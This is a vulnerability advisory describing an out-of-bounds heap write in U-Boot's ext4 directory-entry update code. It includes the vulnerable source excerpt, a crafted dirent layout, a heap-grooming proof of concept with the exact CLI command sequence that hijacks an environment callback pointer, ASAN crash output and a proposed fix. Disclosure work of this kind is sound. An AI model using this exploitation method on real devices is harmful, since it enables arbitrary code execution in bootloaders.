Advisory ID:               SYSS-2026-040 
Product:                   Das U-Boot ("the universal boot loader")
Manufacturer:              DENX Software Engineering / U-Boot project
Affected Version(s):       all versions up to and including master
                           at commit 987907ae4bcc (v2026.07-rc3-00008),
                           when CONFIG_EXT4_WRITE=y is enabled
Tested Version(s):         master at 987907ae4bcc
Vulnerability Type:        Out-of-bounds Write (CWE-787)
Risk Level:                Medium
Solution Status:           Open
Manufacturer Notification: 2026-06-10
Solution Date:             (pending)
Public Disclosure:         (pending)
CVE Reference:             Not yet assigned
Author of Advisory:        Robin Trost, SySS GmbH

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

Das U-Boot is a widely deployed open-source bootloader for embedded
devices. 

The manufacturer describes the product as follows (see [1]):

"Das U-Boot, often shortened to U-Boot, is a free, open-source and 
extensible boot loader available for many architectures (ARM, MIPS, 
PowerPC, RISC-V, x86, x86_64), whose purpose is to perform various 
hardware initialization tasks and boot the device's operating system 
kernel."

Due to a missing bounds check in the ext4 file parsing, an attacker
who controls an ext4 image written by U-Boot is able to execute 
arbitrary code in the bootloader context. 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

In `fs/ext4/ext4_common.c`, `ext4fs_update_parent_dentry()`
allocates a `fs->blksz`-byte heap buffer to hold the parent
directory's first data block and then walks the on-disk dirent
chain to find a spot for the new entry:

  /* fs/ext4/ext4_common.c, lines 502-518 (excerpt) */
  root_first_block_buffer = zalloc(fs->blksz);
  ...
  status = ext4fs_devread(..., 0, fs->blksz,
                          root_first_block_buffer);

  /* lines 530-595 (the loop) */
  dir = (struct ext2_dirent *)root_first_block_buffer;
  totalbytes = 0;

  while (le16_to_cpu(dir->direntlen) > 0) {
      unsigned short used_len = ROUND(dir->namelen +
          sizeof(struct ext2_dirent), 4);

      if (fs->blksz - totalbytes ==
          le16_to_cpu(dir->direntlen)) { ... }

      templength = le16_to_cpu(dir->direntlen);
      totalbytes = totalbytes + templength;
      sizeof_void_space = check_void_in_dentry(dir, filename);
      if (sizeof_void_space)
          break;

      dir = (struct ext2_dirent *)((char *)dir + templength);
      /* ^^ no bound check against fs->blksz */
  }

  /* lines 597-600 (the post-loop advance) */
  templength = le16_to_cpu(dir->direntlen);
  totalbytes = totalbytes + templength;
  dir = (struct ext2_dirent *)((char *)dir + templength);
  /* ^^ another unguarded advance */

  /* lines 602-618 (the post-loop writes) */
  inodeno = ext4fs_get_new_inode_no();
  ...
  dir->inode    = cpu_to_le32(inodeno);        /* OOB write */
  dir->direntlen = cpu_to_le16(...);           /* OOB write */
  dir->namelen  = strlen(filename);            /* OOB write */
  dir->filetype = file_type;                   /* OOB write */
  temp_dir = (char *)dir + sizeof(struct ext2_dirent);
  memcpy(temp_dir, filename, strlen(filename));/* attacker-bytes */

Neither the loop condition nor the inner "last entry of block"
check constrain `direntlen` to the legal range
`[8 + namelen, blksz - totalbytes]`.  A sequence of crafted
dirents (e.g. four dirents at offsets 0/254/508/762 with
`direntlen=254` and `namelen=0`) drives the cursor past
`root_first_block_buffer + blksz`; the final `memcpy(filename)`
then writes up to `strlen(filename)` attacker bytes (the U-Boot
`ext4write` command parser allows `filename` lengths up to 256
chars) into heap memory immediately following the buffer.

Exploiting the vulnerability allows an attacker to perform an 
out-of-bounds write. Combined with heap grooming, this yield in 
arbitrary code execution. 

The bug is reachable only on builds with `CONFIG_EXT4_WRITE=y` -- not
enabled in the default U-Boot configuration. 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

Without heap grooming, the audited sandbox U-Boot build places the
dlmalloc top-chunk header (`top->prev_size` and `top->size`) exactly
at `root_first_block_buffer + 1024`; the OOB write therefore lands on
the allocator's wilderness-chunk bookkeeping. The corrupted
`top->size` is then read by the next `free()` (the function's own
`free(root_first_block_buffer)` at line 627), `nextsz =
top->size & ~PREV_INUSE` becomes the attacker pattern, and
`chunk_at_offset(top, nextsz)->size` dereferences a wild pointer.

The same stock sandbox build can be groomed, using only U-Boot CLI 
commands. A crafted `env import -d -t` payload rebuilds `env_htab` so 
that key `4_` is stored in hash slot 1 and is bound to the stock ipaddr`
environment callback via `.callbacks=4_:ipaddr`. The malicious ext4 
image then uses a fifth crafted root-directory entry to advance the 
vulnerable cursor to `&env_htab.table[1].entry.callback - 8`. The 
post-loop `memcpy(dir + 8, filename, strlen(filename))` overwrites the 
callback pointer with the attacker-controlled filename bytes.

When `env set -f 4_ 2` is executed afterwards, U-Boot reaches:

  /* lib/hashtable.c, do_callback() */
  ret = e->callback(name, value, op, flags);

and dispatches through the corrupted callback pointer. 

The PoC was executed against a U-Boot sandbox build at commit
987907ae4bcc with CONFIG_EXT4_WRITE=y. The reproducer script generates
two attacker-controlled input files:

  - an env-import text payload
  - a malicious ext4 image

The stock CLI command sequence is:

  host load hostfs - 0x1000000 /tmp/m9_env_slot1.bin;
  env import -d -t 0x1000000 0x5200;
  host bind 0 /tmp/m9_stock_pc.img;
  ext4write host 0:0 0x1000000 /AAAA...(256 bytes)...AAAA 0x8;
  env set -f 4_ 2;
   echo SHOULD-NOT-REACH

The imported environment contains:

  4_=1
  .callbacks=4_:ipaddr

Key `4_` hashes to slot 1 in the 521-entry hash table created by the
0x5200-byte import. The `.callbacks` variable binds this entry to the
stock `ipaddr` callback.

The malicious ext4 image contains the four oversized root-directory
entries needed to move the vulnerable cursor to offset 1016, plus a
fifth crafted entry at offset 1016. The reproducer first uses GDB to
probe the live distance from `root_first_block_buffer` to
`&env_htab.table[1].entry.callback`, then regenerates the fifth
entry so that the post-loop filename copy lands exactly on the
callback pointer. 

With a 256-byte filename of "A" bytes, the callback pointer is
overwritten with `0x4141414141414141`. The final `env set -f 4_ 2`
command forces the environment overwrite path and reaches the stock
callback dispatch in `lib/hashtable.c`.

Observed ASAN output from reproducer script:

AddressSanitizer:DEADLYSIGNAL
=================================================================
==448290==ERROR: AddressSanitizer: SEGV on unknown address 
(pc 0x5555559aa30a bp 0x0aaaaabb41bc sp 0x7fffffffcbd0 T0)
==448290==The signal is caused by a READ memory access.
==448290==Hint: this fault was caused by a dereference of a high value 
address (see register values below).  Disassemble the provided pc to learn
 which register was used.
    #0 0x5555559aa30a in do_callback lib/hashtable.c:245
    #1 0x5555559b3ea9 in _compare_and_overwrite_entry lib/hashtable.c:277
    #2 0x5555559b3ea9 in hsearch_r lib/hashtable.c:341
    #3 0x5555558bf333 in env_do_env_set.isra.0 env/common.c:130
    #4 0x5555557df7cf in cmd_call common/command.c:582
    #5 0x5555557df7cf in cmd_process common/command.c:637
    #6 0x5555557d073e in run_pipe_real common/cli_hush.c:1672
    #7 0x5555557d073e in run_list_real common/cli_hush.c:1868
    #8 0x5555557d17a8 in run_list common/cli_hush.c:2017
    #9 0x5555557d17a8 in parse_stream_outer common/cli_hush.c:3207
    #10 0x5555557d1af2 in parse_string_outer common/cli_hush.c:3273
    #11 0x55555574e024 in sandbox_main_loop_init arch/sandbox/cpu/start.c:145
    #12 0x55555574e024 in run_main_loop common/board_r.c:575
    #13 0x55555574e024 in initcall_run_r common/board_r.c:776
    #14 0x55555574e024 in board_init_r common/board_r.c:806
    #15 0x55555574e024 in sandbox_main arch/sandbox/cpu/start.c:584
    #16 0x7ffff7427740  (/usr/lib/libc.so.6+0x27740) (BuildId: 020d6f7c33b2413f4fe10814c4729dce1387f049)
    #17 0x7ffff7427878 in __libc_start_main (/usr/lib/libc.so.6+0x27878) (BuildId: 020d6f7c33b2413f4fe10814c4729dce1387f049)
    #18 0x55555573b134 in _start (u-boot/u-boot+0x1e7134) (BuildId: 1c5ec5e7c6f2ae1c3bebde3d7b0339d14b64079e)

==448290==Register values:
[...]

U-Boot stops in `do_callback()` with `rax = 0x4141414141414141`,
which is the attacker-supplied filename pattern loaded as the indirect
call target.

In production deployments the trigger is reached automatically
whenever attacker-influenced ext4 storage is mounted writeable
and an ext4 write operation is performed.  Notable scenarios:

  - `env_save` with `CONFIG_ENV_IS_IN_EXT4=y` writing to a
    user-supplied ext4 partition (e.g. on USB recovery, when
    U-Boot writes a saveenv to a removable medium).
  - OTA-update workflows that use `ext4_write_file` to push a
    new firmware blob onto an ext4 update partition.
  - `ext4write` invocations from `bootcmd` or rescue scripts
    targeting an attacker-influenced partition.

The threat model is therefore "attacker controls the ext4 image
to which U-Boot writes" plus "the U-Boot build has
`CONFIG_EXT4_WRITE=y`".


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

One solution to fix the issue is to validate `direntlen` and bound the 
cursor against `fs->blksz` on every advance.

  while (totalbytes < fs->blksz) {
      unsigned short dlen = le16_to_cpu(dir->direntlen);
      unsigned short used_len;

      if (dlen < sizeof(struct ext2_dirent) ||
          dlen > fs->blksz - totalbytes)
          goto fail;

      used_len = ROUND(dir->namelen + sizeof(struct ext2_dirent), 4);
      if (used_len > dlen)
          goto fail;

      if (fs->blksz - totalbytes == dlen) {
          /* last entry of block; existing logic */
          ...
      }

      totalbytes += dlen;
      sizeof_void_space = check_void_in_dentry(dir, filename);
      if (sizeof_void_space)
          break;

      if (totalbytes >= fs->blksz)
          goto fail;
      dir = (struct ext2_dirent *)((char *)dir + dlen);
  }


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2026-06-01: Vulnerability discovered
20YY-06-10: Vulnerability reported to manufacturer
20YY-XX:XX: Patch released by manufacturer
20YY-XX-XX: Public disclosure of vulnerability

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

References:

[1] Product website for "Das U-Boot"
    https://u-boot.org/
[2] SySS Security Advisory SYSS-2026-040
    https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2026-040.txt
[3] SySS Responsible Disclosure Policy
    https://www.syss.de/en/responsible-disclosure-policy

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

This security vulnerability was found by Robin Trost of SySS
GmbH.

E-Mail: robin.trost@syss.de
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Robin_Trost.asc
Key ID: 0x698E6EB3
Key Fingerprint: 85FE 80E2 04F3 6177 C61A 4618 61DE F14F 698E 6EB3 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclaimer:

The information provided in this security advisory is provided "as is" 
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS website.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:

Creative Commons - Attribution (by) - Version 4.0
URL: https://creativecommons.org/licenses/by/4.0/deed.en

